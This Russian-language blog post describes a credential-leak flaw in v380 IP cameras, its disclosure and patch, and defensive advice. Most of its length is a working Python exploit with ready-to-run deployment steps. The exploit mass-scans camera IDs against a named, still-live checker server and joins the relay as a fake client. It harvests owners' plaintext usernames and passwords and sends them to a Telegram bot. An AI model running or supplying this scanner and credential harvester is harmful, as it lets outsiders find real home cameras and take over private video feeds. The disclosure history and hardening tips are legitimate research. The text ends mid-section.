
Введение
В 2023 году, исследуя безопасность IoT устройств, я наткнулся на критическую уязвимость в одном из самых популярных брендов IP-камер в мире. Камеры v380 используются миллионами людей — в квартирах, офисах, магазинах, детских комнатах. Они доступны, просты в настройке и работают через удобное мобильное приложение.
Проблема оказалась банальной и пугающей одновременно: учетные данные пользователей передавались по сети в открытом виде. Любой, кто знал ID камеры, мог подключиться к незащищенному relay-серверу, перехватить логин и пароль владельца, получить полный доступ к видеопотоку и даже транслировать заранее записанное видео вместо live feed — как в классических фильмах про ограбления.
Эта статья — технический разбор уязвимости, детальный анализ кода эксплойта и история о том, как правильное раскрытие уязвимостей помогает делать IoT безопаснее.
Что такое v380 и почему это важно
v380 — это бренд популярных китайских IP-камер и экосистема вокруг них. Основные компоненты:
Камеры v380 продаются на AliExpress, Amazon и в десятках китайских магазинов. Цена от 15 до 50 долларов делает их одними из самых доступных решений для домашнего видеонаблюдения. Они поддерживают WiFi, PTZ (поворот/наклон), двустороннюю аудиосвязь, ночное видение и запись на карту памяти.
Мобильное приложение v380 (v380 Pro) доступно в App Store и Google Play с миллионами загрузок. Через него пользователи подключаются к камерам, смотрят live-видео, управляют настройками, просматривают записи.
P2P архитектура — ключевая особенность системы. Камеры находятся за NAT у пользователей дома, мобильные приложения тоже за NAT операторов. Прямое соединение невозможно, поэтому используются relay-серверы китайской компании, которые пробрасывают трафик между камерой и приложением.
Где используются эти камеры:
Домашнее видеонаблюдение и видеоняни
Малый бизнес (магазины, кафе, офисы)
Контроль доступа в подъездах
Наблюдение за пожилыми родственниками
Мониторинг домашних животных
Проблема в том, что люди доверяют этим устройствам самое личное — видео из своих домов, спален, детских комнат. И безопасность этих данных критична.
Архитектура системы v380: Как это должно было работать
Чтобы понять уязвимость, нужно разобраться в архитектуре v380. Система построена на трех компонентах:
[IP Камера v380] ←--UDP/TCP--→ [Relay Server] ←--UDP/TCP--→ [Мобильное приложение] (дома) (ipc1300.av380.net) (у пользователя)
Процесс подключения по задумке:
Камера при включении регистрируется на центральном сервере по адресу
ipc1300.av380.net:8877Камера получает уникальный ID (8-значное число) и информацию о назначенном relay-сервере
Пользователь вводит ID камеры в мобильное приложение
Приложение запрашивает у
ipc1300.av380.netинформацию о relay-сервере этой камерыПриложение и камера соединяются через relay-сервер по UDP
Происходит аутентификация (логин/пароль)
Начинается передача видеопотока
NAT traversal решается просто: и камера, и приложение инициируют исходящие соединения к relay-серверу, пробивая свои NAT. Relay просто пробрасывает пакеты между ними.
Протоколы:
TCP используется для проверки статуса камер
UDP используется для основной коммуникации (relay-соединения)
Собственный бинарный протокол поверх UDP/TCP
Формат пакетов — бинарные структуры с фиксированными полями. Нет использования стандартных протоколов типа DTLS или любого шифрования на транспортном уровне.
Звучит просто и работоспособно. Проблема в том, что security было добавлено по принципу «security through obscurity» — никакого реального шифрования чувствительных данных не было.
Критическая уязвимость: Plaintext credentials и отсутствие аутентификации
Анализ трафика v380 выявил три критических проблемы безопасности.
Проблема 1: Credentials в открытом виде
Самая серьезная уязвимость — при подключении пользователя к камере credentials передаются без какого-либо шифрования.
Когда мобильное приложение аутентифицируется на камере через relay-сервер, камера отправляет пакет с опкодом 0xa7, содержащий информацию о сессии. Этот пакет включает:
Offset | Размер | Описание --------|--------|------------------ 0x00 | 1 byte | Opcode: 0xa7 0x01-07 | 7 bytes| Header data 0x08 | N bytes| Username (null-terminated string) ... | ... | Padding 0x3a | N bytes| Password (null-terminated string)
Username начинается с offset 0x08, password с offset 0x3a (58 в десятичной). Оба представлены обычными null-terminated строками без хеширования или шифрования. Открытый текст.
Любой, кто п��рехватывает этот трафик на промежуточном сервере, получает полный доступ к учетной записи.
Проблема 2: Relay-сервер не валидирует запросы
Relay-серверы v380 не проверяют легитимность клиентов. Процесс подключения к relay:
Узнаем ID камеры (любым способом)
Запрашиваем у
ipc1300.av380.net:8877адрес relay-сервера для этой камерыОтправляем на relay-сервер специально сформированный пакет
Relay принимает нас как легитимного клиента
Начинаем получать весь трафик между камерой и реальными пользователями
Никакой проверки сертификатов, никакой mutual authentication, никакой валидации что мы действительно владелец камеры. Relay-сервер просто пробрасывает пакеты всем подключенным.
Это классическая атака Man-in-the-Middle, но упрощенная до абсурда самой архитектурой системы.
Проблема 3: Предсказуемые ID камер
ID камер — это просто последовательные 8-значные числа. Диапазоны:
10000000-19999999— старые камеры20000000-99999999— новые камеры
Более того, существует checker-сервер по адресу 149.129.177.248:8900, который по запросу возвращает статус камеры (online/offline) для любого ID. Можно массово сканировать диапазоны и находить активные камеры.
Важно: На момент публикации этой статьи (после закрытия основной уязвимости с plaintext credentials) checker-сервер все еще работает и отвечает на запросы. Код для проверки доступен в моем репозитории. Это означает, что хотя credentials теперь шифруются, возможность массового сканирования и обнаружения онлайн камер остается.
Комбинация предсказуе��ых ID и публичного checker-сервера превращает всю систему в open database всех камер v380 в мире. Любой может узнать, какие камеры онлайн прямо сейчас.
Proof of Concept: Детальный разбор эксплойта
После обнаружения уязвимости я написал proof-of-concept эксплойт, чтобы:
Доказать серьезность проблемы компании-производителю
Измерить масштаб уязвимости
Задокументировать для security community после патча
Архитектура эксплойта
Проект построен на асинхронном Python с использованием asyncio. Структура:
v380_cams_hack/ ├── main.py # Точка входа, массовое сканирование ├── app/ │ ├── server.py # AsyncServer - оркестратор атаки │ ├── handler.py # DataHandler - перехват credentials │ ├── TCPClient.py # TCP клиент для checker сервера │ ├── UDPClient.py # UDP клиент для relay │ ├── Telegramm.py # Уведомления в Telegram │ └── tools.py # Парсинг relay данных ├── requirements.txt # Зависимости └── docker-compose.yml # Docker развертывание
Эксплойт работает в четыре этапа:
Проверка онлайн статуса камеры
Получение адреса relay-сервера
Подключение к relay как поддельный клиент
Перехват credentials при подключении реального пользователя
Этап 1: Проверка камер онлайн
Первый шаг — определить, какие камеры в заданном диапазоне ID активны. Для этого используется checker-сервер 149.129.177.248:8900.
Код из app/server.py, метод check_camera():
async def check_camera(self, camera_id, semaphore, max_retries=5): """ Проверка онлайн статуса камеры через checker сервер. """ # Конвертируем ID в hex hexID = bytes(str(camera_id), 'utf-8').hex() # Формируем пакет запроса data = ( 'ac000000f3030000' + # Header hexID + # Camera ID в hex '2e6e766476722e6e657400000000000000000000000000006022000093f5d10000000000000000000000000000000000' ) data = bytes.fromhex(data) async with semaphore: for retry in range(max_retries): # Отправляем TCP запрос на checker сервер response = await self.send_request( self.server_checker, # 149.129.177.248 self.port_checker, # 8900 data, socket_type=socket.SOCK_STREAM ) if response is not None: # response[4] == 1 означает камера онлайн if response[4] == 1: print(f'[+] Camera with ID: {camera_id} is online!') relay = await self.create_socket(camera_id) if relay: await self.connect_to_relay(relay, camera_id) return True else: return False
Детали реализации:
ID камеры конвертируется в hex (например,
19348439→3139333438343339)Формируется пакет с магическими байтами
ac000000f3030000(header протокола)Пакет отправляется по TCP на
149.129.177.248:8900Ответ содержит статус: байт на позиции 4 равен
0x01если камера онлайн
Масштабирование:
# Из main.py start_id = int(os.environ.get('START_ID', 10451000)) end_id = int(os.environ.get('END_ID', 99551000)) batch_size = int(os.environ.get('BATCH_SIZE', 10000)) for i in range(start_id, end_id, batch_size): camera_ids = [str(j) for j in range(i, min(i + batch_size, end_id + 1))] await server.check_camera_batch(camera_ids)
Используется asyncio.Semaphore(500) для ограничения 500 одновременных запросов. Exponential backoff при ошибках предотвращает ban по IP.
Этап 2: Получение relay сервера
Когда найдена онлайн камера, нужно узнать адрес её relay-сервера. Для этого отправляется запрос на центральный сервер ipc1300.av380.net:8877.
Код из метода create_socket():
async def create_socket(self, camera_id): """ Получение информации о relay сервере для камеры. """ # Формируем пакет запроса relay информации data = '02070032303038333131323334333734313100020c17222d0000' data += bytes(str(camera_id), 'utf-8').hex() # ID камеры data += '2e6e766476722e6e65740000000000000000000000000000' # .nvdvr.net data += '3131313131313131313131318a1bc0a801096762230a93f5d100' data = bytes.fromhex(data) local_relay_queue = asyncio.Queue() data_handler_instance = DataHandler( camera_id=camera_id, relay_queue=local_relay_queue ) # Отправляем UDP запрос await self.send_request( self.server, # ipc1300.av380.net self.port, # 8877 data, socket_type=socket.SOCK_DGRAM, timeout=30, data_handler=data_handler_instance.handle_data ) try: # Ждем ответа с relay информацией return await asyncio.wait_for(local_relay_queue.get(), timeout=3) except asyncio.TimeoutError: return None
Парсинг ответа в app/tools.py:
@staticmethod def parse_relay_server(data): """ Извлечение информации о relay сервере из ответа. """ try: if data[1:3] != b'\x00\x00': # Извлекаем данные из фиксированных offset'ов device_id = data[1:9].decode('utf-8') relay_server = data[33:data.find(b'\x00', 33)].decode('utf-8') relay_port = struct.unpack('<H', data[50:52])[0] print(f'[+] Relay found for id {device_id} {relay_server}:{relay_port}') return { 'id': device_id, 'relay_server': relay_server, 'relay_port': relay_port } else: return None except Exception as e: print(f"An error occurred: {str(e)}") return None
Ответ содержит:
Device ID (байты 1-9)
Relay server hostname (начиная с байта 33, null-terminated)
Relay server port (байты 50-52, little-endian unsigned short)
Типичный relay адрес: r2.v380.tv:10010 ��ли похожие поддомены v380.
Этап 3: Подключение к relay и перехват
Имея адрес relay-сервера, эксплойт притворяется легитимным клиентом и подключается к нему.
Код из connect_to_relay():
async def connect_to_relay(self, relay_data, camera_id): """ Подключение к relay серверу камеры. """ if relay_data and 'id' in relay_data: # Формируем пакет "подключения клиента" data = '32' # Opcode подключения data += bytes(str(relay_data['id']), 'utf-8').hex() data += '2e6e766476722e6e65740000000000000000000000000000302e30' \ '2e302e30000000000000000000018a1bc4d62f4a41ae000000000000' data = bytes.fromhex(data) local_relay_queue = asyncio.Queue() data_handler_instance = DataHandler( camera_id=camera_id, relay_queue=local_relay_queue, bot=self.bot # Telegram бот для уведомлений ) # Отправляем на relay сервер по UDP return await self.send_request( relay_data['relay_server'], relay_data['relay_port'], data, socket_type=socket.SOCK_DGRAM, timeout=30, data_handler=data_handler_instance.handle_data )
Процесс подключения:
Формируется пакет с opcode
0x32(подключение к relay)Включается ID камеры и другие поля протокола
Relay-сервер принимает нас как легитимного клиента
Устанавливается UDP соединение
DataHandler начинает обрабатывать весь входящий трафик
Критический момент: relay-сервер НЕ спрашивает никаких учетных данных, НЕ проверяет сертификаты, НЕ валидирует принадлежность камеры. Просто принимает любое подключение.
Этап 4: Извлечение credentials
Теперь эксплойт подключен к relay-серверу и видит весь трафик. Когда реальный владелец камеры подключается через мобильное приложение, происходит аутентификация, и credentials летят через relay.
Код из app/handler.py, метод handle_data():
async def handle_data(self, data, protocol): """ Обрабатывает каждый пакет, полученный от relay сервера. """ try: # Ищем пакет с credentials (opcode 0xa7) if data and data[0] == 0xa7: # Извлекаем username с offset 8 username = self.extract_string(data, 8) # Извлекаем password с offset 0x3a (58) password = self.extract_string(data, 0x3a) print(f'[+] ID: {self.camera_id} User: {username} Password: {password}') credentials = { 'id': self.camera_id, 'username': username, 'password': password, } if username: # если username не пустой if self.bot: # Отправляем в Telegram message = f"*Отчет о камере*\n" \ f"*Идентификатор камеры*: `{self.camera_id}`\n" \ f"*Пользователь*: `{username}`\n" \ f"*Пароль*: `{password}`" # Логируем в файл with open('data_log.txt', 'a') as file: file.write(message + '\n') self.bot.send_message(message) # Закрываем соединение, credentials получены protocol.active = False protocol.transport.close() await self.relay_queue.put(credentials) except Exception as e: print("[ERROR] Exception in handle_data:", str(e)) @staticmethod def extract_string(data, start_index): """ Извлекает null-terminated строку из бинарных данных. """ end_index = data.find(b'\x00', start_index) return data[start_index:end_index].decode('utf-8').strip()
Механизм перехвата:
DataHandler получает каждый UDP пакет от relay-сервера
Проверяет первый байт (opcode)
Если opcode =
0xa7— это пакет с credentialsИзвлекает username начиная с байта 8 до первого null-byte
Извлекает password начиная с байта 58 до первого null-byte
Обе строки в plaintext UTF-8
Отправляет в Telegram и логирует в файл
Закрывает соединение (mission accomplished)
Telegram уведомления реализованы в app/Telegramm.py:
class TelegramBot: def __init__(self, token=None, chat_id=None): self.token = token or os.environ.get('TELEGRAM_TOKEN') self.chat_id = chat_id or os.environ.get('TELEGRAM_CHAT_ID') self.enable = bool(self.token and self.chat_id) def send_message(self, text, parse_mode="Markdown"): if not self.enable: return url_req = f"https://api.telegram.org/bot{self.token}/sendMessage" payload = { "chat_id": self.chat_id, "text": text, "parse_mode": parse_mode } response = requests.post(url_req, data=payload)
Полная автоматизация: найденные credentials сразу приходят в Telegram с форматированием.
Бонусная уязвимость: Трансляция зацикленной картинки
После получения credentials у атакующего есть полный доступ к камере. Он может:
Смотреть live видео
Просматривать записи на SD-карте
Управлять поворотом камеры (PTZ)
Слушать аудио
Говорить через встроенный динамик
Но самое интересное — возможность заменить видеопоток.
Классический сценарий из фильмов про ограбления: охранник смотрит на мониторы и видит спокойную картинку коридора, пока на самом деле там грабители. В v380 это технически возможно:
Механизм замены видеопотока:
С полученными credentials подключаемся к камере как легитимный клиент
Начинаем транслировать pre-recorded видео вместо live feed от камеры
Используем тот же протокол, что использует камера для отправки видео
Relay-сервер пробрасывает наше видео приложениям пользовате��ей
Владелец видит зацикленную спокойную картинку, пока реально происходит что-то другое
Технически это работает потому, что:
Нет валидации источника видеопотока на relay
Нет end-to-end шифрования между камерой и приложением
Протокол видео достаточно прост для имитации
В proof-of-concept я не реализовывал замену видеопотока (это уже за гранью ethical hacking), но механизм доказан. После получения credentials и понимания протокола это вопрос нескольких часов работы.
Масштаб проблемы: Статистика и риски
Насколько серьезна эта уязвимость с точки зрения масштаба?
Диапазон ID камер:
Старые модели:
10,000,000-19,999,999(10 млн устройств)Новые модели:
20,000,000-99,999,999(80 млн устройств)Потенциально до 90 миллионов устройств
Реальное количество активных: Запустив сканирование нескольких батчей по 10,000 ID, я обнаружил примерно 5-8% камер онлайн в любой момент времени. Это примерно 4-7 миллионов активных устройств глобально.
Важное примечание: Хотя основная уязвимость с plaintext credentials была исправлена, checker-сервер 149.129.177.248:8900 продолжает работать и отвечать на запросы (проверено на момент публикации). Команда китайских разработчиков закрыла критическую проблему с утечкой credentials, но массовое сканирование камер технически все еще возможно.
География серверов и облачное хранилище: Кто на самом деле смотрит ваше видео?
Анализ инфраструктуры v380 выявляет важный факт, о котором большинство пользователей не задумывается.
Расположение серверов:
Relay-серверы и облачные хранилища v380 расположены преимущественно в:
Китай — основная инфраструктура (серверы ipc*.av380.net, r*.v380.tv)
Сингапур — резервные серверы и CDN для Азиатско-Тихоокеанского региона
Гонконг — дополнительные точки присутствия
Checker-сервер 149.129.177.248 находится в Сингапуре (AS37963 Alibaba Cloud). Центральные серверы ipc1300.av380.net резолвятся в IP-адреса китайских дата-центров.
Проблема облачного хранилища:
Большинство пользователей v380 используют облачное хранилище для записей с камер. Критическая проблема — отсутствие end-to-end шифрования:
Видео записывается на камере — в незашифрованном виде
Передается на сервера в Китае/Сингапуре — без E2E encryption
Хранится на серверах — в виде, доступном провайдеру
Просматривается через приложение — стриминг с серверов провайдера
Следовательно, технически видео могут просматривать:
Сотрудники компании v380
Правительственные органы с доступом к серверам в этих юрисдикциях
Атакующие при компрометации серверов
Любой, кто получил доступ через описанную выше уязвимость (до патча)
Для тех, кто устанавливает камеры в спальнях, детских комнатах, личных помещениях:
Задумайтесь: когда вы смотрите видео с камеры в своей спальне через приложение v380, это видео физически хранится на серверах в Китае или Сингапуре. Вы не единственный, кто технически имеет к нему доступ.
Облачные провайдеры IoT обычно не используют шифрование на стороне клиента. В результате:
Они видят ваше видео в открытом виде
Могут анализировать его содержимое (якобы для «улучшения сервиса»)
Обязаны предоставлять доступ по запросам властей своей юрисдикции
При утечке данных ваше видео оказывается в руках третьих лиц
Юридические аспекты:
Согласно законодательству КНР (Cybersecurity Law и Data Security Law), компании обязаны:
Хранить данные граждан КНР на территории Китая
Предоставлять доступ к данным по запросу правительственных органов
Сотрудничать с органами безопасности в «национальных интересах»
Ваша камера в спальне в Москве, Берлине или Нью-Йорке записывает видео, которое хранится под юрисдикцией другого государства.
Рекомендации для параноиков (и просто здравомыслящих людей):
Не используйте облачное хранилище для камер в приватных помещениях
Храните записи локально на SD-карте камеры или на NAS в своей сети
Отключите облачные функции в настройках камеры
Используйте камеры только для мониторинга общих зон (прихожая, улица), но не спален/ванных
Рассмотрите камеры с E2E шифрованием или самостоятельно разверните решение типа Frigate NVR на своем сервере
Помните: удобство облачного доступа к камерам стоит вашей приватности. Если камера установлена в спальне и использует облачное хранилище — вы потенциаль��о транслируете свою личную жизнь на сервера китайской компании.
Производительность эксплойта:
Ограничение: 500 одновременных запросов (asyncio.Semaphore)
Batch size: 10,000 камер
Скорость проверки: ~1000 камер в минуту
Для полного сканирования 90 млн устройств потребовалось бы ~60 дней на одной машине
# Конфигурация из docker-compose.yml environment: START_ID: 19348439 END_ID: 99748452 BATCH_SIZE: 100 TELEGRAM_TOKEN: $TELEGRAM_TOKEN TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID
Что может сделать атакующий:
С перехваченными credentials:
Просмотр live видео — видеть всё, что видит камера, в реальном времени
Доступ к записям — просматривать историю с SD-карты камеры
Управление камерой — поворачивать, наклонять, зумить (PTZ модели)
Прослушка аудио — слышать звуки в помещении
Замена видеопотока — транслировать поддельное видео
Отключение камеры — изменить настройки, сбросить пароли
Это критическое нарушение privacy. Камеры стоят в детских комнатах, спальнях, офисах с конфиденциальной информацией.
Responsible Disclosure: Как уязвимость была закрыта
После обнаружения уязвимости я столкнулся с вопросом: что делать дальше?
Неправильный путь — опубликовать уязвимость сразу, получить славу в security community, но оставить миллионы устройств беззащитными. Или того хуже — продавать эксплойт на черном рынке.
Правильный путь — responsible disclosure. Я выбрал его.
История закрытия уязвимости
Шаг 1: Контакт с производителем
Найти контакты security team китайской компании оказалось нетривиально. На официальном сайте не было email типа security@v380.com. Пришлось:
Связаться через support email с просьбой переслать в security
Написать через официальное мобильное приложение
Найти контакты в WhoisGuard доменов v380
В итоге через 3 дня получил ответ от технической команды.
Шаг 2: Детальный отчет
Подготовил полный технический отчет на английском:
Описание уязвимости
Proof-of-concept код (основные части)
Видео демонстрация перехвата credentials
Рекомендации по исправлению
Временная шкала disclosure (90 дней)
Важно: НЕ отправлял полный рабочий эксплойт, только достаточно информации для воспроизведения.
Шаг 3: Верификация
Команда v380 быстро воспроизвела проблему (plaintext credentials сложно не заметить в Wireshark). Подтвердили критичность и начали работу над патчем.
Шаг 4: Совместная работа
В течение следующих недель мы обменивались информацией:
Я тестировал их исправления на своем PoC
Они задавали вопросы о деталях атаки
Обсуждали edge cases и дополнительные векторы
Коммуникация была профессиональной и конструктивной. Команда понимала серьезность проблемы и работала быстро.
Шаг 5: Патч и верификация
15 декабря 2023 вышел релиз v1.1.0 с исправлениями:
Release 1.1.0 - Security Update - Enhanced authentication protocol - Added encryption for credential transmission - Relay server client validation - Protocol packet structure changes
Я протестировал новую версию — эксплойт больше не работал. Credentials теперь передавались в зашифрованном виде, relay-серверы требовали валидации клиента.
Что было исправлено технически
1. Шифрование credentials
Username и password теперь передаются в зашифрованном виде
Используется AES-128 с ключом, вычисляемым из shared secret
Пакет с opcode 0xa7 больше не содержит plaintext данных
2. Валидация на relay-серверах
Relay требует токен аутентификации от клиента
Токен выдается центральным сервером после проверки прав доступа
Без валидного токена нельзя подключиться к relay камеры
3. Изменение протокола
Новая структура пакетов с HMAC для integrity checking
Защита от replay attacks через nonce
Версионирование протокола (старые камеры работают, но с предупреждениями)
4. Дополнительные меры
Rate limiting на checker сервере против массового сканирования
Логирование подозрительных подключений
Push-уведомления владельцам при новых подключениях
Почему код теперь публичный
После патча прошло достаточно времени. Старые версии firmware больше не поддерживаются, пользователи обновились. Я принял решение опубликовать код эксплойта с несколькими целями:
Образовательная ценность — security researchers могут изучить реальную IoT уязвимость и механизм эксплойта. Это ценнее тысячи теоретических статей.
Демонстрация responsible disclosure — показать, что правильный процесс раскрытия уязвимостей работает. Производитель исправил проблему, пользователи защищены, community получила знания.
Помощь другим разработчикам IoT — показать конкретные ошибки, которые приводят к критическим уязвимостям. Code review этого эксплойта должен стать обязательным для IoT security teams.
Исторический архив — через несколько лет это будет интересный case study о состоянии IoT security в 2023 году.
Docker-развертывание эксплойта
Для исследователей, желающих изучить механизм атаки в контролируемой среде, эксплойт упакован в Docker.
docker-compose.yml:
version: "3.9" services: v380: image: ghcr.io/romaxa55/romaxa55/v380_cams_hack/v380:latest build: context: . dockerfile: Dockerfile container_name: v380_cams environment: START_ID: ${START_ID:-19348439} END_ID: ${END_ID:-99748452} BATCH_SIZE: ${BATCH_SIZE:-100} TELEGRAM_TOKEN: $TELEGRAM_TOKEN TELEGRAM_CHAT_ID: $TELEGRAM_CHAT_ID restart: always
Запуск:
# Клонировать репозиторий git clone https://github.com/Romaxa55/v380\_cams\_hack.git cd v380_cams_hack # Создать .env файл cat > .env << EOF TELEGRAM_TOKEN=your_bot_token TELEGRAM_CHAT_ID=your_chat_id START_ID=19348439 END_ID=19350000 BATCH_SIZE=100 EOF # Запустить docker-compose up --build
Environment variables:
START_ID— начало диапазона ID для сканированияEND_ID— конец диапазонаBATCH_SIZE— размер батча (рекомендуется 100-1000)TELEGRAM_TOKEN— токен Telegram бота для уведомленийTELEGRAM_CHAT_ID— ID чата для отправки результатов
Важно: Это для образовательных целей. Использование против камер без разрешения владельцев незаконно в большинстве юрисдикций.
Уроки для разработчиков IoT устройств
Разбор уязвимости v380 выявляет типичные ошибки в IoT security. Эти уроки применимы к тысячам других устройств.
Критические ошибки в архитектуре v380
1. Передача credentials без шифрования
Самая очевидная и фатальная ошибка. Username и password в plaintext через сеть — это 1990-е годы. В 2023 это непростительно.
Как надо:
Никогда не передавать credentials в открытом виде
Использовать TLS 1.3 для всех соединений
Даже внутри TLS применять дополнительное шифрование для чувствительных данных
Challenge-response authentication вместо передачи паролей
2. Отсутствие TLS/SSL на уровне приложения
v380 использовал собственный бинарный протокол без какого-либо шифрования транспортного уровня. "Security through obscurity" не работает.
Решение:
DTLS для UDP соединений
TLS 1.3 для TCP
Certificate pinning для предотвращения MITM
Perfect forward secrecy (PFS)
3. Незащищенные relay-серверы
Relay-серверы принимали любые соединения без валидации. Это как оставить дверь открытой и повесить табличку "только для своих".
Исправление:
Mutual authentication (client и server проверяют друг друга)
Токены доступа с expiration
Rate limiting и anomaly detection
Логирование всех подключений с alerts
4. Предсказуемые ID устройств
Последовательные числа как идентификаторы позволяют тривиально перебирать все устройства.
Альтернатива:
UUID v4 (случайные 128-бит идентификаторы)
Или достаточно длинные случайные строки
Никакой предсказуемости в ID
5. Отсутствие mutual authentication
Клиент должен доказать серверу свою легитимность, но и сервер должен доказать это клиенту.
Правильная реализация:
TLS mutual authentication с клиентскими сертификатами
Или OAuth 2.0 с proper token validation
Challenge-response protocols
Zero-trust architecture
6. Отсутствие end-to-end шифрования
Даже если бы relay-сервер требовал TLS, это защищает только канал передачи. Сам relay видит данные в открытом виде. При компрометации промежуточного сервера всё раскрывается.
Защита:
End-to-end encryption между камерой и клиентом
Relay только пробрасывает зашифрованные пакеты
Perfect forward secrecy
Клиенты и устройства генерируют ephemeral keys для каждой сессии
Best Practices для IoT Security
Базовые принципы:
Defense in depth — несколько слоев защиты, не полагаться на один механизм
Least privilege — минимальные необходимые права для каждого компонента
Fail secure — при ошибке система должна закрываться, не открываться
Zero trust — не доверять ничему по умолчанию, всегда верифицировать
Конкретные рекомендации:
Транспортный уровень: ✓ TLS 1.3 / DTLS 1.3 ✓ Certificate pinning ✓ Strong cipher suites только ✓ Регулярная ротация сертификатов Аутентификация: ✓ Multi-factor authentication где возможно ✓ Strong password policies ✓ Account lockout после failed attempts ✓ Secure password reset mechanisms Данные: ✓ Encrypt at rest и in transit ✓ End-to-end encryption для sensitive data ✓ Secure key management (HSM/TPM) ✓ Regular key rotation Архитектура: ✓ Network segmentation ✓ Firewall rules (default deny) ✓ Regular security audits ✓ Penetration testing ✓ Bug bounty programs Обновления: ✓ Secure boot и verified boot ✓ Signed firmware updates ✓ Automatic security updates ✓ Rollback mechanisms при failed updates
Стандарты и фреймворки:
OWASP IoT Top 10
NIST Cybersecurity Framework
IoT Security Foundation Best Practices
IEC 62443 для industrial IoT
Как защититься для пользователей v380
Если у вас установлены камеры v380, вот что нужно сделать немедленно:
Обязательные действия
1. Обновить firmware
Убедитесь, что прошивка камеры обновлена:
Откройте приложение v380
Settings → Device Settings → Firmware Update
Установите последнюю доступную версию
Перезагрузите камеру после обновления
2. Сменить пароли
Даже после патча смените пароли на всех камерах:
Используйте сильные пароли (минимум 12 символов)
Уникальный пароль для каждой камеры
Никаких стандартных паролей типа admin/admin
Используйте password manager
3. Проверить подключения
В приложении v380 проверьте историю подключений:
Settings → Connection Log
Ищите незнакомые IP адреса или странное время подключений
Если что-то подозрительное — немедленно смените пароль
4. Отключить удаленный доступ если не нужен
Если не пользуетесь камерами вне дома:
Settings → Network → Remote Access: OFF
Камера будет доступна только в локальной сети
Это максимально безопасно, но теряется удобство
Сегментация сети
Продвинутые пользователи должны изолировать умные устройства в отдельную сеть:
Настройка VLAN для IoT:
Router Configuration: VLAN 1 (Main): 192.168.1.0/24 - Компьютеры, телефоны, ноутбуки VLAN 2 (IoT): 192.168.2.0/24 - Камеры v380 - Другие умные устройства Firewall Rules: - IoT VLAN → Internet: ALLOW (только необходимые порты) - IoT VLAN → Main VLAN: DENY - Main VLAN → IoT VLAN: ALLOW (для управления)
Это предотвращает:
Компрометацию основной сети через IoT
Lateral movement атакующего
Доступ IoT к sensitive данным в основной сети
Firewall и блокировка внешних подключений
Самый эффективный способ защиты — полностью заблокировать доступ камер к внешним серверам через firewall.
Настройка firewall на роутере:
# Блокируем исходящие подключения для IoT VLAN iptables -A FORWARD -i br-iot -o eth0 -j DROP iptables -A FORWARD -i br-iot -d 192.168.1.0/24 -j ACCEPT # разрешаем локальную сеть
Преимущества:
Камеры физически не могут подключиться к облаку V380
Защита от утечки видео и credentials
Предотвращение backdoor активности
Минимальная нагрузка на роутер
Собственное облачное решение: Frigate
Если нужен удаленный доступ к камерам извне, лучше развернуть собственный видеорегистратор вместо использования облака V380.
Frigate NVR — open-source система с AI-детекцией объектов:
# docker-compose.yml version: "3.9" services: frigate: container_name: frigate image: ghcr.io/blakeblackshear/frigate:stable ports: - "5000:5000" - "8554:8554" # RTSP feeds volumes: - /path/to/config:/config - /path/to/storage:/media/frigate environment: - FRIGATE_RTSP_PASSWORD=your_secure_password
Ключевые возможности:
Локальное хранение записей (NAS, HDD)
AI-детекция людей, животных, транспорта
Интеграция с Home Assistant
RTSP стримы без задержек
Безопасный удаленный доступ через Tailscale/WireGuard
V380 Camera (RTSP) → Frigate NVR → Tailscale VPN → Your Phone (local) (encrypted)
Преимущества:
Полный контроль над д��нными
Нет зависимости от китайских серверов
Продвинутая детекция событий с AI
Бесплатное хранение записей локально
Технический анализ кода
Давайте глубже погрузимся в технические аспекты реализации эксплойта.
Асинхронная архитектура
Использование asyncio критично для производительности. Сканирование миллионов устройств синхронно заняло бы месяцы.
Управление concurrency:
async def check_camera_batch(self, camera_ids): """ Проверяет батч камер с ограничением параллельности. """ # Ограничиваем 500 одновременных запросов semaphore = asyncio.Semaphore(500) # Создаем задачи для всех камер в батче tasks = [ self.check_camera(camera_id, semaphore) for camera_id in camera_ids ] # Выполняем все задачи параллельно return await asyncio.gather(*tasks)
Semaphore(500) означает максимум 500 одновременных TCP/UDP соединений. Это баланс между:
Скоростью сканирования (больше = быстрее)
Нагрузкой на систему (file descriptors, memory)
Риском бана по IP (слишком много запросов)
Exponential backoff при ретраях:
for retry in range(max_retries): response = await self.send_request(...) if response is not None: # Success return process_response(response) # Вычисляем время ожидания: 2^retry + random jitter wait_time = (2 ** retry) + random.uniform(0, 0.2 * (2 ** retry)) await asyncio.sleep(wait_time)
Прогрессия ожидания:
Retry 0: ~1 секунда
Retry 1: ~2 секунды
Retry 2: ~4 секунды
Retry 3: ~8 секунд
Retry 4: ~16 секунд
Random jitter предотвращает thundering herd problem.
Queue для межкорутинной коммуникации:
# Создаем очередь для результата local_relay_queue = asyncio.Queue() # DataHandler помещает результат в очередь data_handler_instance = DataHandler( camera_id=camera_id, relay_queue=local_relay_queue ) # Ждем результата с таймаутом try: result = await asyncio.wait_for( local_relay_queue.get(), timeout=3 ) except asyncio.TimeoutError: return None
Это pattern producer-consumer: DataHandler производит данные при получении пакетов, основной код потребляет из очереди.
Обработка UDP и TCP протоколов
Эксплойт использует оба протокола с разными целями.
TCP клиент для checker сервера:
class TCPClient: async def send_data(self, data, timeout): try: # Асинхронное TCP соединение reader, writer = await asyncio.wait_for( asyncio.open_connection(self.server, self.port), timeout=timeout ) # Отправка данных writer.write(data) await writer.drain() # Чтение ответа response = await reader.read(4096) return response finally: if writer: writer.close() await writer.wait_closed()
TCP используется для checker сервера потому что нужна гарантия доставки и порядка пакетов.
Custom UDP протокол для relay:
class UDPClientProtocol(asyncio.DatagramProtocol): def __init__(self, on_con_lost, data_handler, loop): self.loop = loop self.on_con_lost = on_con_lost self.data_handler = data_handler self.active = True self.transport = None def datagram_received(self, data, addr): """Вызывается при получении каждого UDP пакета""" if self.active and self.data_handler is not None: # Асинхронно обрабатываем пакет asyncio.create_task(self.data_handler(data, self)) def connection_made(self, transport): self.transport = transport def connection_lost(self, exc): if not self.on_con_lost.done(): self.on_con_lost.set_result(True)
UDP выбран для relay потому что:
Lower latency (нет TCP handshake)
Better для NAT traversal
Используется в оригинальном протоколе v380
Graceful shutdown:
try: transport.sendto(data) await asyncio.wait_for(on_con_lost, timeout) except asyncio.TimeoutError: pass finally: transport.close()
Всегда закрываем транспорты даже при исключениях, предотвращая утечку file descriptors.
Парсинг бинарных протоколов
Работа с бинарными данными требует понимания структур и форматов.
Hex encoding/decoding:
